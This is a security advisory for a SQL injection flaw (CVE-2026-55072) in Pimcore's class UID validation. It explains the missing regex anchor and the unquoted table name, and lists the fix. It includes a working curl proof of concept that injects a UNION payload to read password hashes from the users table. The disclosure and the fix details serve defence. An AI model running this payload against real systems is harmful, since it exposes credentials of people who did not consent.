high · 8.5CVE-2026-55072Aug 13, 2026

CVE-2026-55072: Pimcore ClassDefinition UID Regex Missing End Anchor Allows SQL Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing end-anchor in Pimcore's class UID validation regex lets a low-privileged editor sneak SQL into a class ID, which then executes unquoted inside Block.php when any object of that class is…

Packagepimcore/pimcore
Ecosystemcomposer
Affected>= 2026.1.0, <= 2026.1.4
Fixed in2026.1.5
CVE-2026-55072: Pimcore ClassDefinition UID Regex Missing End Anchor Allows SQL Injection

The problem

Pimcore's ClassDefinition save path validates the class UID with preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $id). The missing trailing $ means the regex only checks that the string starts with a valid character; everything after that first match is ignored.

An attacker with only the standard objects permission can create a class whose UID contains a UNION-based SQL fragment. Later, when any data object of that class is loaded, Block.php concatenates the raw class ID directly into a query string ('object_store_' . $object->getClassId()) with no quoting, executing the injected SQL.

The result: full read access to the Pimcore database, including password hashes in the users table.

Proof of concept

A working proof-of-concept for CVE-2026-55072 in pimcore/pimcore, with the exact payload below.

bash
# Step 1 - authenticate
curl -s -c /tmp/cookies.txt -X POST \
  'https://your-pimcore/pimcore-studio/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"lowpriv","password":"password"}'

# Step 2 - create class with malicious UID (passes broken regex, blocked by patched regex)
curl -s -b /tmp/cookies.txt -X POST \
  'https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create' \
  -H 'Content-Type: application/json' \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

# Step 3 - create a data object of the malicious class, note returned id (e.g. 42)
curl -s -b /tmp/cookies.txt -X POST \
  'https://your-pimcore/pimcore-studio/api/data-objects' \
  -H 'Content-Type: application/json' \
  -d '{"className":"PocClass","parentId":1,"key":"poc-object"}'

# Step 4 - fetch the object; Block.php:735 executes the injected query
curl -s -b /tmp/cookies.txt \
  'https://your-pimcore/pimcore-studio/api/data-objects/42'

# SQL that Block.php assembles and executes on the vulnerable version:
# SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users-- WHERE oo_id = 42
# The -- discards the WHERE clause; UNION appends rows from `users`.
# Response body contains password hashes in the myblock field value.

Root cause is a regex anchoring bug (CWE-20). preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- ') returns 1 because the engine matches 1 at position 0 and stops; without $, the trailing SQL is never checked. A correct pattern, as already used by Fieldcollection/Definition.php, includes $ and would return 0 for the same input.

The second root cause is unquoted table name construction (CWE-89). Block.php builds the query as 'object_store_' . $object->getClassId() with no quoteIdentifier() call, whereas ClassDefinition/Dao.php does wrap the same value. The patch adds $ anchors to both regexes in ClassDefinition.php and wraps all six getClassId() concatenations in Block.php with quoteIdentifier(), matching the existing pattern in Dao.php.

The fix

Upgrade to pimcore/pimcore 2026.1.5 (patch commit 33a0e1887e1e31b4283b016ac5440c35ea5697b4). The fix adds trailing $ anchors to both UID validation regexes in models/DataObject/ClassDefinition.php and wraps every $object->getClassId() table-name concatenation in $db->quoteIdentifier() across models/DataObject/ClassDefinition/Data/Block.php lines 735, 744, 746, 748, 759, and 771.

No workaround is available; upgrade is required.

Reported by kingjia90.

References: [1][2][3]

Related research